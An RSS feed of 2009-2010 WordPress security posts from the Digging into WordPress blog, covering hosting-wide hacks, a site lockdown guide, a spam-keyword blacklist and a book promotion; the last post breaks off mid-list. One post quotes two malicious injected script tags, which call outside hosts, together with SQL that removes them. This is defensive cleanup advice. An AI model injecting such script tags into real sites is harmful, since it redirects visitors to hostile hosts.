<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digging into WordPress &#187; Security</title>
	<atom:link href="http://digwp.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Learn how to take your WordPress skills to the next level.</description>
	<lastBuildDate>Wed, 01 Sep 2010 14:47:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Media Temple WordPress&#160;Hack</title>
		<link>http://digwp.com/2010/07/media-temple-wordpress-hack/</link>
		<comments>http://digwp.com/2010/07/media-temple-wordpress-hack/#comments</comments>
		<pubDate>Sat, 17 Jul 2010 15:38:15 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[mt]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2547</guid>
		<description><![CDATA[It looks like Media Temple WordPress installs have been hit with a WordPress Redirect Exploit. We got hit here at DigWP.com, but have cleaned things up and are taking steps to prevent it from happening again. Here is what Media Temple knows so far: Visitors viewing&#160;posts on your blog may be redirected to a third-party [...]]]></description>
			<content:encoded><![CDATA[<p>It looks like Media Temple WordPress installs have been hit with a <a href="http://weblog.mediatemple.net/weblog/category/system-incidents/1404-wordpress-redirect-exploit/" title="MT System Status Report">WordPress Redirect Exploit</a>. We got hit here at DigWP.com, but have cleaned things up and are taking steps to prevent it from happening again. Here is what Media Temple knows so far:</p>
<ul>
<li>Visitors viewing&nbsp;posts on your blog may be redirected to a third-party site.&nbsp; This may&nbsp;be a site already blocked by Google.</li>
<li>Visitors may&nbsp; also be forwarded to the domain googlesearch.com, which has already been&nbsp;disabled.</li>
</ul>
<p>They provide <a href="http://wiki.mediatemple.net/w/WordPress_Redirect_Exploit" title="WordPress Redirect Exploit">steps for clearing things up</a>, but it doesn&#8217;t look like the entry-point or source of this hack is known at this point.</p>
<p><span id="more-2547"></span></p>
<p>The hack injects a short JavaScript string into your database at the end of each your post&rsquo;s content. There are (so far) two known variations of the inserted garbage:</p>
<ul>
<li><code>&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;</code></li>
<li><code>&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;</code></li>
</ul>
<p>To clean this up asap, backup your database and run the following <a href="http://digwp.com/2010/03/remove-replace-content-wordpress-database/" title="Remove/Replace Content from the WordPress Database">SQL queries</a>:</p>
<pre><code>UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;', '');

UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;', '');</code></pre>
<p>And remember to change the query prefix from <code>wp_</code> to your custom prefix.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/">Permalink</a> | <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/#comments">61 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/media-temple-wordpress-hack/&title=Media Temple WordPress&nbsp;Hack">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hack/" rel="tag">hack</a>, <a href="http://digwp.com/tag/mt/" rel="tag">mt</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/07/media-temple-wordpress-hack/feed/</wfw:commentRss>
		<slash:comments>61</slash:comments>
		</item>
		<item>
		<title>WordPress Security&#160;Lockdown</title>
		<link>http://digwp.com/2010/07/wordpress-security-lockdown/</link>
		<comments>http://digwp.com/2010/07/wordpress-security-lockdown/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:04:44 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2413</guid>
		<description><![CDATA[This article is split into two parts for ez reference. First some information on the evil WordPress &#8220;Pharma Hack&#8221;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure: Pharma Hacked Security Lockdown Pharmaceutical Apocalypse A few weeks ago, DigWP.com was hit with the so-called Pharma Hack. We [...]]]></description>
			<content:encoded><![CDATA[<p>This article is split into two parts for <abbr title="SO easy">ez</abbr> reference. First some information on the evil WordPress &ldquo;Pharma Hack&rdquo;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure:</p>
<ul>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#pharma-hack">Pharma Hacked</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-lockdown">Security Lockdown</a></li>
</ul>
<p><span id="more-2413"></span></p>
<h3 id="pharma-hack">Pharmaceutical Apocalypse</h3>
<p>A few weeks ago, <a href="http://digwp.com/">DigWP.com</a> was hit with the so-called <a href="http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php" title="How to Diagnose and Remove the WordPress Pharma Hack">Pharma Hack</a>. We discovered the hack after some Google results turned up all sorts of spammy pharmaceutical garbage littered throughout posts, links, and titles. The tricky part about the hack is that it injects the spam garbage only when your site&rsquo;s pages are requested by a <em>search bot</em> (e.g., googlebot). So when you view your pages in a <em>browser</em>, everything seems perfectly normal. Put simply, the hack is <strong>cloaked</strong>. We had no idea anything was wrong until about <em>two weeks</em> after the attack. During that time a majority of our search engine results were nuked with evil pharma spam. Ick.</p>
<p>Flash forward three weeks later and things are locked-down tight. The Pharma Hack has not returned, and most of the spam garbage in the search results has been filtered out and replaced with clean pages. At the time of the attack, DigWP was running WordPress 2.9/3.0 without any sort of <em>additional</em> site security. We were just using whatever &ldquo;default&rdquo; protection available from either WordPress or Media Temple. After detecting the hack, several days were spent cleaning it up and locking things down. At first, it seemed like an <em>impossible</em> hack to fix &ndash; nothing seemed to work. We ran through the following routine, hoping to fix it:</p>
<ul>
<li>Locate and remove hacked <code>404.php</code> file</li>
<li>Locate and remove hacked content from database</li>
<li>Replace entire set of salt keys</li>
<li>Upload new WordPress files</li>
<li>Restore previous versions of other files</li>
<li>Restore database to previous version</li>
</ul>
<p>These actions alleviate the symptoms, but they don&rsquo;t even touch the actual virus, which somehow regenerates the (base64) encoded spam script. As far as we know, the Pharma Hack works like this:</p>
<ol>
<li>Evil script gains access to your WordPress site</li>
<li>Encoded spam script injected into database</li>
<li>Script inserts spam garbage into pages requested by search bots</li>
<li>Script makes no changes to pages requested by browsers</li>
</ol>
<p>Within the database, the spam script is generated in any/all of these <code>option_name</code> fields:</p>
<ul>
<li><code>class_generic_support</code></li>
<li><code>widget_generic_support</code></li>
<li><code>wp_check_hash</code></li>
<li><code>ftp_credentials</code></li>
<li><code>rss_[string] e.g.,</code><br /><code>rss_7988287cd8f4f531c6b94fbdbc4e1caf</code></li>
</ul>
<p>If these fields are present and contain <a href="http://digwp.com/examples/PharmaHack/Pharma-Hack_2010-07-11.txt" title="encoded Pharma Hack script">super-long strings of encoded gibberish</a>, your site&rsquo;s infected. You can assess the damages by examining the search results for your site (note: other spam keywords may be used):</p>
<pre><code>site:digwp.com cipro OR meridia OR cialis</code></pre>
<p>If you&rsquo;re hit, hopefully you catch it <em>before</em> googlebot crawls along. But even if you have <em>thousands</em> of hacked pages appearing in the search index, it&rsquo;s not too late to clean things up and secure your site. Here is how we did it..</p>
<h3 id="security-lockdown">WordPress Security Lockdown</h3>
<p>This security strategy is best implemented on <em>new</em> sites. It just makes everything (like renaming table prefixes) <em>so</em> much easier. Either way, you want to start with a clean batch of files. Upload a fresh copy of WordPress, update your plugins, theme files, and so on. You may want to <a href="http://perishablepress.com/press/2010/05/19/htaccess-redirect-maintenance-page-site-updates/" title="htaccess Redirect to Maintenance Page">redirect visitors to a maintenance page</a> while you work on your site. That said, here is our five-step Security Lockdown for WordPress:</p>
<ol style="padding-bottom:15px;">
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-permissions">File Permissions</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-protection">File Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#database-protection">Database Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#essential-plugins">Essential Plugins</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-details">Important Details</a></li>
</ol>
<h4 id="file-permissions">[<a href="#security-lockdown" title="Jump to Menu">1</a>] File Permissions</h4>
<p>After uploading fresh files, the next step is to ensure proper file permissions. WordPress defaults to <code>644</code> for files and <code>755</code> permissions for folders. Make sure these are set properly. While cleaning up, we noticed some crazy permission settings for sensitive files. For example, <code>wp-config.php</code> was set to <code>777</code> &ndash; executable and writable by the entire world!! Make sure you don&rsquo;t see anything like that, and if you do, fix it.</p>
<h4 id="file-protection">[<a href="#security-lockdown" title="Jump to Menu">2</a>] File Protection</h4>
<p>In addition to setting proper file permissions, we can also lock down key files with <code>.htaccess</code>. There are numerous files to protect, perhaps most importantly the <code>wp-config.php</code> file, which contains your database login information. Place the following code in your site&rsquo;s root <code>.htaccess</code> file to protect it:</p>
<pre><code># SECURE WP-CONFIG.PHP
&lt;Files wp\-config\.php&gt;
 Order Deny,Allow
 Deny from all
&lt;/Files&gt;</code></pre>
<p>You may also want to <a href="http://perishablepress.com/press/2009/07/13/htaccess-password-protection-tricks/" title="HTAccess Password-Protection Tricks">password-protect</a> your <code>wp-admin</code> directory, but it may cause more trouble than it&rsquo;s worth.</p>
<h4 id="database-protection">[<a href="#security-lockdown" title="Jump to Menu">3</a>] Database Protection</h4>
<p>Changing the default table prefix is one of the <em>best</em> ways to protect your database. Malicious scripts need targets, and default targets are easy to hit. Change <code>wp_</code> to something more like a password. Some <a href="http://www.random.org/strings/" title="Random String Generator">random string</a> like &ldquo;<code>crUQZPadESeKSy8Q_</code>&rdquo; will make your tables difficult to hit. Like having a built-in password for your database&nbsp;:)</p>
<p>There are two ways to change your prefixes: the easy way and the hard way. The easy way is to add the following line to your <code>wp-config.php</code> file <em>before</em> installing WordPress (important: change the random string to something unique):</p>
<pre><code>$table_prefix  = 'crUQZPadESeKSy8Q_'; // custom table prefix</code></pre>
<p>Do that <em>before</em> running the install script and WordPress takes care of the prefix naming automagically when it creates the database. Going forward, there is no reason not to change default prefixes for all future WordPress installs. For existing sites, you can do it the hard way <a href="http://blogsecurity.net/wordpress/wp-prefix-changer-v11-released" title="WP Prefix Changer v1.1 released">using a plugin</a> or <a href="http://tdot-blog.com/wordpress/6-simple-steps-to-change-your-table-prefix-in-wordpress" title="6 Simple Steps to Change Your Table Prefix in WordPress">doing it manually</a>.</p>
<h4 id="essential-plugins">[<a href="#security-lockdown" title="Jump to Menu">4</a>] Essential Plugins</h4>
<p>After exploring the vast crop of <a href="http://wordpress.org/extend/plugins/tags/security" title="WordPress<br />
Plugin Directory">WordPress security plugins</a>, we narrowed it down to four plugins that collectively do just about everything in the easiest way possible:</p>
<p><strong><a href="http://mattwalters.net/projects/wordpress-file-monitor/">WP File Monitor</a></strong></p>
<p>This plugin tracks changes made to your files. If/when anything changes, it notifies you via Admin Dashboard alert and/or email alert. So anytime a file is changed, moved, added, or removed, WP File Monitor lets you know. Here is a list of features:</p>
<ul>
<li>Monitors file system for added/deleted/changed files</li>
<li>Sends email when a change is detected</li>
<li>Multiple email formats for alerts</li>
<li>Administration area alert to notify you of changes in case email is not received</li>
<li>Ability to monitor files for changes based on file hash or timestamp</li>
<li>Ability to exclude directories from scan</li>
<li>Site URL included in notification email in case plugin is in use on multiple sites</li>
</ul>
<p>This is one of my favorite plugins. It&rsquo;s perfect for keeping an eye on things. If anyone gets in and messes around with your files, you&rsquo;ll know about it immediately, and even better, you&rsquo;ll know <em>exactly</em> which files have been affected.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a></strong></p>
<p>This plugin scans your WordPress installation for security vulnerabilities and suggests corrective actions. The scan report informs you of any problems with file permissions, system variables, and much more:</p>
<ul>
<li>Passwords</li>
<li>File permissions</li>
<li>Database security</li>
<li>Version hiding</li>
<li>WordPress admin protection/security</li>
<li>Removes WP Generator META tag from core code</li>
</ul>
<p>WP Security Scan also provides a nice summary of server information and latest scan information. Performing a new scan is immediate with the click of a button. Very easy.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/ultimate-security-check/">Ultimate Security Check</a></strong></p>
<p>This plugin provides even more security information, helping you to identify potential issues with your WordPress installation. It scans your site for &ldquo;hundreds of known threats,&rdquo; and then &ldquo;grades&rdquo; your level of site security. Here are some of the key things it checks:</p>
<ul>
<li>Checks for updates</li>
<li>Checks configuration file</li>
<li>Checks if config file is located in unsecured place</li>
<li>Checks presence of install script</li>
<li>Checks server configuration</li>
<li>Checks database</li>
<li>Checks code</li>
</ul>
<p>And quite a bit more. The best part about Ultimate Security Check is that it&rsquo;s so <em>easy</em> to use.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/secure-wordpress/">Secure WordPress</a></strong></p>
<p>This plugin takes care of all those &ldquo;little&rdquo; things. Instead of installing a bunch of smaller plugins or <a href="http://digwp.com/2010/03/wordpress-functions-php-template-custom-functions/" title="WordPress functions.php Template with 15 Essential Custom Functions">custom functions</a> for this stuff, the Secure WordPress plugin does it all for you:</p>
<ol>
<li>Removes error-information on login-page</li>
<li>Adds index.php plugin-directory (virtual)</li>
<li>Removes the wp-version, except in admin-area</li>
<li>Removes Really Simple Discovery</li>
<li>Removes Windows Live Writer</li>
<li>Remove core update information for non-admins</li>
<li>Remove plugin-update information for non-admins</li>
<li>Remove theme-update information for non-admins (only WP 2.8 and higher)</li>
<li>Hide wp-version in backend-dashboard for non-admins</li>
<li><a href="http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/" title="Protect WordPress Against Malicious URL Requests">Block Bad Queries</a></li>
</ol>
<p>Having all of this (and much more) done with a few clicks in the WordPress Admin is easy <em>and</em> effective.</p>
<h4 id="security-details">[<a href="#security-lockdown" title="Jump to Menu">5</a>] Important Details</h4>
<p>The previous four steps comprise the majority of our security lockdown, but there are some important details to consider:</p>
<ul>
<li>Keep your WordPress install, plugins, themes, and scripts updated with current versions</li>
<li>Use <strong>strong</strong> passwords and change them often</li>
<li>Disable user registration if not needed/used for your site</li>
<li>Check roles and permissions for all users</li>
<li>Clean up and consolidate old/loose files</li>
<li>Remove unused plugins and themes</li>
<li>Check permissions of <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories</li>
<li>Keep a backup of your site files</li>
<li>Keep your database optimized and backed up</li>
</ul>
<p>We did these things here at DigWP.com, but certain tips may not apply to every site. As a side note, despite our new security lockdown, I am still concerned/confused about how to handle the <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories. It seems dangerous to leave these folders set with <code>777</code> permissions, and for many shared hosts, that seems to be the required setting. I would be interested in hearing any ideas about securing these directories.</p>
<h3>Bottom Line</h3>
<p>There is no such thing as perfect security. If someone wants in bad enough, they&rsquo;re going to find a way, despite your best efforts at staying secure. Fortunately, most malicious scripts target the least common denominator, default WordPress installs. At the very least, ensure proper file permissions, secure <code>wp-config.php</code>, and use unique database prefixes. Together, these three steps will put your site out of reach for a vast majority of malicious scripts and other automated attacks. Of course, there are many other ways to <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/" title="How to Secure Your New WordPress Installation">strengthen your site&rsquo;s security</a>, depending on how far you want to go with it. The lockdown strategy presented in this article provides strong security in the most efficient way possible, but there is always room for improvement, so share your ideas and help the community secure their WordPress.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/">Permalink</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/#comments">44 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/wordpress-security-lockdown/&title=WordPress Security&nbsp;Lockdown">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/plugin/" rel="tag">plugin</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/07/wordpress-security-lockdown/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>WordPress Defender: 30 Ways to Secure Your&#160;Website</title>
		<link>http://digwp.com/2010/02/wordpress-defender/</link>
		<comments>http://digwp.com/2010/02/wordpress-defender/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 18:20:35 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1439</guid>
		<description><![CDATA[Looking for a good book on WordPress security? If so, we&#8217;ve got great news! John Hoff&#8217;s new security e-book WordPress Defender provides 30 practical ways to secure your website from the evil forces of spam, bad bots, and malicious hackers. The book is packed with practical, common-sense security techniques that virtually any WordPress user can [...]]]></description>
			<content:encoded><![CDATA[<p>Looking for a good book on WordPress security? If so, we&rsquo;ve got great news! <a href="http://wpbloghost.com/" title="WP Blog Host">John Hoff</a>&rsquo;s new security e-book <a href="http://securemyblog.com/" title="WordPress Defender">WordPress Defender</a> provides 30 practical ways to secure your website from the evil forces of spam, bad bots, and malicious hackers. The book is packed with practical, common-sense security techniques that virtually <em>any</em> WordPress user can use to protect their site from malicious threats. </p>
<p>The book begins with some general information and then immediately gets into explaining everything you need to know. Throughout the book, John covers everything from backing up and upgrading to blocking bad queries and hiding sensitive information. Along the way, you will learn many tricks and techniques for securing your WordPress-powered site, including htaccess code, WordPress plugins, and much more.</p>
<p><span id="more-1439"></span></p>
<p>Here are some of the highlights of WordPress Defender:</p>
<ul>
<li>Essential best practices</li>
<li>Kick-ass security plugins</li>
<li>Creating tripwires with htaccess</li>
<li>How to hide sensitive information</li>
<li>How to setup and connect with <acronym title="Secure Sockets Layer">SSL</acronym></li>
</ul>
<p>..and of course much more. WordPress Defender is WordPress security for the masses. Seriously, I think that just about everyone using WordPress will benefit from this book. Plus, John&rsquo;s easy-going, laid-back writing style makes you feel right at home as he walks you through the many different ways of protecting your site. If you use WordPress and need to know more about how to protect your site against villains, you need to get <a href="http://securemyblog.com/" title="WordPress Defender">WordPress Defender</a>.</p>
<p>Special 50% discount on the e-book today through March 3rd!</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/02/wordpress-defender/">Permalink</a> | <a href="http://digwp.com/2010/02/wordpress-defender/#comments">3 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2010/02/wordpress-defender/&title=WordPress Defender: 30 Ways to Secure Your&nbsp;Website">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/02/wordpress-defender/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Stop Spammers and Other Scumbags with a Custom&#160;Blacklist</title>
		<link>http://digwp.com/2010/02/stop-spammers-custom-blacklist/</link>
		<comments>http://digwp.com/2010/02/stop-spammers-custom-blacklist/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 09:15:07 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[blacklist]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1394</guid>
		<description><![CDATA[I usually reserve most of my blacklisting content for Perishable Press, but after posting about using WordPress&#8217; built-in tools to stop comment spam, several DiW readers have asked about a good custom blacklist that may be used for the &#8220;Comment Moderation&#8221; and/or &#8220;Comment Blacklist&#8221; features in the WordPress &#8220;Discussion Settings&#8221; screen. Over the years, I [...]]]></description>
			<content:encoded><![CDATA[<p>I usually reserve most of my <a href="http://perishablepress.com/press/tag/blacklist/" title="Blacklist Archive at Perishable Press">blacklisting content</a> for <a href="http://perishablepress.com/" title="Perishable Press: Digital Design and Dialogue">Perishable Press</a>, but after posting about <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don’t Need Any Plugins to Stop Comment Spam">using WordPress&rsquo; built-in tools to stop comment spam</a>, several <acronym title="Digging into WordPress">DiW</acronym> readers have asked about a good <strong>custom blacklist</strong> that may be used for the &ldquo;Comment Moderation&rdquo; and/or &ldquo;Comment Blacklist&rdquo; features in the WordPress &ldquo;Discussion Settings&rdquo; screen. Over the years, I have <a href="http://perishablepress.com/press/2007/10/08/wordpress-spam-battle-3-seconds-that-will-save-you-hours-of-time/" title="WordPress Spam Battle: 3 Seconds that will Save You Hours of Time">built up</a> an extensive custom blacklist of terms that has proven quite effective at keeping spam and other garbage out of the comments section, even <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don’t Need Any Plugins to Stop Comment Spam">without using any anti-spam plugins</a> such as Akismet. It&rsquo;s strictly plug-n-play, and should help protect your site (and reputation) against all sorts of malicious nonsense. So without further ado.. </p>
<p><small>(Caution: the blacklist contains several instances of profanity in order to keep vile language out of your comments.)</small></p>
<p><span id="more-1394"></span></p>
<h3>Custom WordPress Comment Moderation Blacklist</h3>
<p>The idea is simple: copy and paste this custom blacklist into the Comment Moderation field in your WordPress Admin area, which will look something like this:</p>
<p><img src="http://digwp.com/wp-content/blog-images/custom-blacklist.gif" alt="[ The 'Comment Moderation' field in the WordPress 'Discussion Settings' Area ]" /><br /><small>The &lsquo;Comment Moderation&rsquo; field in the WordPress &lsquo;Discussion Settings&rsquo; Area</small></p>
<p>Here is the list, in all of its offensive pharmaceutical, gambling, sex-industry glory (see notes afterward for more information on usage and functionality):</p>
<pre><code>д
и
ж
Ч
Б
. ,
? ,
[url=
[/url]
thx
sex
byob
nude
loan
debt
poze
bdsm
soma
visa
hotel
paxil
anime
naked
poker
coolhu
cialis
incest
casino
dating
payday
rental
ambien
holdem
cialis
adipex
booker
youtube
myspace
advicer
flowers
finance
freenet
-online
shemale
meridia
cumshot
trading
adderall
gambling
roulette
top-site
mortgage
pharmacy
dutyfree
ownsthis
duty-free
insurance
ringtones
insurance
blackjack
hair-loss
bllogspot
baccarrat
thorcarlson
jrcreations
credit card
macinstruct
hydrocodone
leading-site
slot-machine
carisoprodol
ottawavalleyag
cyclobenzaprine
discreetordering
aceteminophen
augmentation
enhancement
phentermine
doxycycline
citalopram
cephalaxin
vicoprofen
lorazepam
oxycontin
oxycodone
percocet
propecia
tramadol
propecia
percocet
cymbalta
lunestra
fioricet
lesbian
lexapro
valtrex
titties
xenical
meridia
levitra
vicodin
ephedra
lipitor
breast
cyclen
viagra
valium
hqtube
ultram
clomid
cyclen
vioxx
zolus
pussy
porno
xanax
bitch
penis
pills
male
porn
dick
cock
tits
fuck
shit
gay
ass
gdf
gds</code></pre>
<p>As mentioned, to use this list, just copy/paste into your Comment Moderation field and you&rsquo;re done. Along the way, you may find that additional terms are needed, or that certain terms need removed. Feel free to tweak according to the specific needs of your site. It&rsquo;s all good&nbsp;:)</p>
<p>A couple of notes about this blacklist: </p>
<ul>
<li>The first five or so characters are effective at blocking 99% of nonsensical Russian spam.</li>
<li>The period/comma entries block a recent rash of spam that included these particular strings.</li>
<li>Most of the terms are highly specific to spam comments and should keep false positives at a minimum.</li>
<li>Even so, it is recommended that this custom blacklist be used as a &ldquo;Comment Moderation&rdquo; list and not as a &ldquo;Comment Blacklist&rdquo; in order to retain your ability to screen for false positives.</li>
<li>Additional terms are easily added by appending the list with the character string on its own line.</li>
<li>It would be great to build this blacklist up a little further. If you have your own distinct collection of terms, let me know and I will add them to the list.</li>
</ul>
<p>Any questions/comments/concerns welcome in the comments area.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/">Permalink</a> | <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/#comments">14 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2010/02/stop-spammers-custom-blacklist/&title=Stop Spammers and Other Scumbags with a Custom&nbsp;Blacklist">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/blacklist/" rel="tag">blacklist</a>, <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/02/stop-spammers-custom-blacklist/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Media Temple, WordPress, Mass&#160;Hacking</title>
		<link>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/</link>
		<comments>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 14:47:12 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=983</guid>
		<description><![CDATA[Update: Media Temple is saying that: They aren&#8217;t 100% sure the cause, but yes, it is their fault. About 10% of all (gs) users were affected. It&#8217;s not WordPress specific, it&#8217;s PHP specific. Definitely change your passwords, definitely don&#8217;t change it back to the original password. A number of people (Michael Torbert, Kyle Brady, Jeffrey [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Update:</strong> Media Temple <a href="http://weblog.mediatemple.net/weblog/2009/11/26/1026-more-faqs/">is saying</a> that:</p>
<ul>
<li>They aren&#8217;t 100% sure the cause, but yes, it is their fault.</li>
<li>About 10% of all (gs) users were affected.</li>
<li>It&#8217;s not WordPress specific, it&#8217;s PHP specific.</li>
<li>Definitely change your passwords, definitely don&#8217;t change it back to the original password.</li>
</ul>
<p>A number of people (<a href="http://michaeltorbert.com/blog/media-temple-hacked/">Michael Torbert</a>, <a href="http://www.inquisitr.com/47860/the-epic-wordpress-mediatemple-failure/">Kyle Brady</a>, <a href="http://jeffreybarke.net/2009/11/media-templewordpress-hacked/">Jeffrey Barke</a>, <a href="http://adrian3.com/2009/11/mediatemplewordpress-hack/">Adrian Hanft</a>) are reporting that their Media Temple sites have been hacked. Digging Into WordPress is on a Media Temple (gs) and we got this email from them late last night:</p>
<blockquote><p>Dear Valued Customer,</p>
<p>This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.</p></blockquote>
<p><span id="more-983"></span></p>
<p>When trying to FTP into the site this morning, the access attempt was denied (wrong password), and then blocked. I had to log into the admin, unblock the IP, and reset the password to get in. <strong>In poking around a bit, it doesn&#8217;t look like Digging Into WordPress was affected.</strong> Thank god&#8230;</p>
<p>Some of the facts I&#8217;m seeing around:</p>
<ul>
<li>The attack is not specific to WordPress, although also affects WordPress (Some folks saying their Drupal sites have been hit, or sites just using plain old PHP)</li>
<li>It may be a result of passwords being stored/sent in plain text</li>
<li>Media Temple is mostly quiet on the issue but has been telling folks there has been a huge upsurge in attempted FTP connections to sites. </li>
<li>Some folks are blaming Media Temple, others blaming WordPress</li>
</ul>
<h3>Files to check on your own sites</h3>
<h4>index.php</h4>
